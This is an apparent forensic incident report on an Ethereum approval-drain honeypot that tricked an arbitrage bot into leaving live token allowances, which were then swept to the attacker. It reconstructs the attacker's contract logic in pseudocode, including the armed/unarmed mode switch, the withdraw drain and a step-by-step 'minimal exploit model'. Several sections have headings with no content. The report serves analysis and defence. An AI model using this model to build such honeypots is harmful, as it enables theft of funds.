Approval-drain honeypot report: tx 0x2be8704f5a59b69e0b71f64aefdb99eb0e8ae9fb3926147c581910d71bcf3e65

Prepared: 2026-06-21

Evidence: local archive reth RPC traces, historical calls/storage reads, runtime bytecode snapshots, and the Etherscan transaction page.

Executive summary

This was an ERC-20 allowance drain against token owner / bot contract 0x1f2f10d1c40777ae1da742455c65828ff36df387.

The final transaction was not a swap. The coordinator contract 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52 called withdraw(address) on 66 child contracts. Each child checked the victim contract's real-token balance and its own allowance, then transferred the available amount to attacker recipient 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0.

Final assets moved:

The setup was a tailored bait route. The bot EOA 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13 called its own bot contract, which approved attacker-controlled child contracts to spend real WETH, USDC, and USDT. The route paid small real-token profits, but in the large batches the approvals were not consumed. They stayed live until the drain.

The trick was a block-armed mode switch. The same child contract behaved like a principal-consuming wrapper when unarmed, but like a fake mint when armed for the current block. The bot saw positive PnL; the attacker kept the residual allowance.

Key addresses

Real tokens:

Timeline

The setup calldata selectors encoded the target token family:

Bait transactions

The setup transactions paid the bot real-token profit while creating the approvals that later enabled the drain.

Live allowances immediately before the drain, at block 25360695:

The small batches consumed their approvals in the same transaction. The large batches left dangling approvals.

Contract family

The honeypot was a coordinated contract family:

Representative runtime sizes:

The child and hub contracts are Solidity 0.6.6 ERC-20/Ownable-style contracts with extra private functions. The pair contracts are Solidity 0.5.16 UniswapV2-like contracts branded as Ring V2.

Coordinator mechanics

Key coordinator storage:

Key selectors:

The attacker armed the coordinator before each large bait setup:

Each arm transaction forwarded the ETH to that block's coinbase.

Child spender mechanics

Representative child: 0x74d3c4534178d72f16bd6663f69a7b8487f7882a.

Important storage:

Key selectors:

The setup primitive changes behavior based on the coordinator arm.

Armed mode:

require(amount > 0);
require(coordinator.isArmed());
coordinator.setChild(address(this));
coordinator.setAmount(amount);
_balances[pair] += amount; // fake token mint directly to pair
return amount;

Unarmed mode:

require(amount > 0);
realToken.transferFrom(msg.sender, address(this), amount);
_balances[pair] += amount;
return amount;

This is the core trap:

• In armed large batches, the bot approved real USDC/USDT/WETH to the child, but the child did not pull the real token. It minted fake token balance to the pair, so the real allowance remained live.
• In unarmed small batches, the child did pull real token from the bot, so the approval was consumed inside the setup transaction.

The drain primitive is simple:

require(msg.sender == coordinator || tx.origin == owner);

uint256 bal = realToken.balanceOf(tokenOwner);
uint256 allow = realToken.allowance(tokenOwner, address(this));

if (bal != 0 && allow != 0) {
    uint256 amount = bal < allow ? bal : allow;
    realToken.transferFrom(tokenOwner, owner, amount);
}

Here owner is 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0.

Hub and trigger mechanics

The hub fake token 0xd370f4e528d83f9941ff2803685552660af7c238 made the bait route appear profitable by paying real-token output.

For a representative large USDC leg:

For a small USDC leg, the coordinator was not armed. The child first pulled real USDC from the bot, the hub paid apparent output, and then the hub pulled principal back from the child. Profit was paid, but the approval was consumed.

The trigger contract prepared fake pair reserves. In the large USDC setup block, tx 0xdb0534695fe0f9768bf22f637867414d2633833b73c41368e389fc684dd2e724 was index 2, immediately before the bot setup tx at index 3.

That trigger call supplied 22 second-leg pair addresses, one hub token, one input amount, and one output amount. For each supplied pair, it performed:

hub.transferFrom(0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, pair, inputAmount);
pair.swap(0, outputAmount, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, "");

Concrete trace example:

hub.transferFrom(0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, 0x9ee8a76ebbda5da7f5f01728606dbb8b17b0a63f, 72698192454379)
0x9ee8a76ebbda5da7f5f01728606dbb8b17b0a63f.swap(0, 72262088173417, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, "")

Same-block bait sequence

Large USDC block ordering:

Representative USDC bait leg inside the bot tx:

1. Bot contract approved real USDC to child/spender 0x74d3c4534178d72f16bd6663f69a7b8487f7882a for 143,528.656384 USDC.
2. Bot contract called child selector 0x26599850.
3. Bot contract called swap(uint256,uint256,address,bytes) on Ring V2 pair 0xa21742e31edbd26447c053d5b9c7b02b6954fb63.
4. That pair sent fake intermediate token 0xda54cc9a582180736ef9f25d9b19b0499ba03758 to second Ring V2 pair 0xeb5b9b2cb7836b1534e8542fc338e90757993a38.
5. The second pair sent hub token 0xd370f4e528d83f9941ff2803685552660af7c238 to the bot contract.
6. The hub paid the bot real USDC profit.
7. Because the coordinator was armed, the child did not pull the real USDC principal. The approval remained.

Drain transaction mechanics

Target transaction:

The calldata contained:

• address[] with 66 child contracts.
• address owner/victim: 0x1f2f10d1c40777ae1da742455c65828ff36df387.

For each child:

child.withdraw(0x1f2f10d1c40777ae1da742455c65828ff36df387)
token.transferFrom(0x1f2f10d1c40777ae1da742455c65828ff36df387, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, min(balance, allowance))

Post-drain state:

After the token transfers, the coordinator forwarded the 0.01 ETH tx value to coinbase 0xfb74767c1ce1aada0a0e114441173b57f8c1571b.

What the bot saw

The bot saw executable, profitable fake-DEX arbitrage:

• A same-block transaction changed reserves on many UniswapV2-like Ring V2 pairs.
• The involved contracts exposed plausible token metadata: fUSDC, USD Coin, fCAP, Caps, and 6 decimals.
• Similar small setup transactions behaved like normal approval-then-pull flows and consumed approvals.
• The large setup route simulated and executed with positive real-token PnL.
• The bot's transaction really did receive real USDC, USDT, and WETH profit.

The hidden state was not in immediate PnL. It was in post-state allowance:

realToken.allowance(0x1f2f10d1c40777ae1da742455c65828ff36df387, child) > 0

for high-value, attacker-controlled USDC, USDT, and WETH child spenders.

Minimal exploit model

// 1. Attacker arms current block.
coordinator.armCurrentBlock{value: bribe}();

// 2. Attacker mutates fake pair reserves so a searcher finds a route.
trigger.updatePairs(pairList, hubToken, inputAmount, outputAmount);

// 3. Bot executes the apparent route.
realToken.approve(child, amount);
child.wrapOrMint(amount, pair1); // armed mode: mint fake token, do not pull real token
pair1.swap(amount0Out, amount1Out, pair2, data);
pair2.swap(amount0Out, amount1Out, botContract, data);
hub.settle(received);            // pays small real profit

// 4. Later, attacker consumes the leftover approval.
child.withdraw(botContract);

The sophistication is in the stateful mode switch. The same fake-token family can act like a normal principal-consuming wrapper when unarmed, and like a non-consuming fake mint when armed. That gives the bot successful executions and real profit while leaving dangerous approvals behind for the later sweep.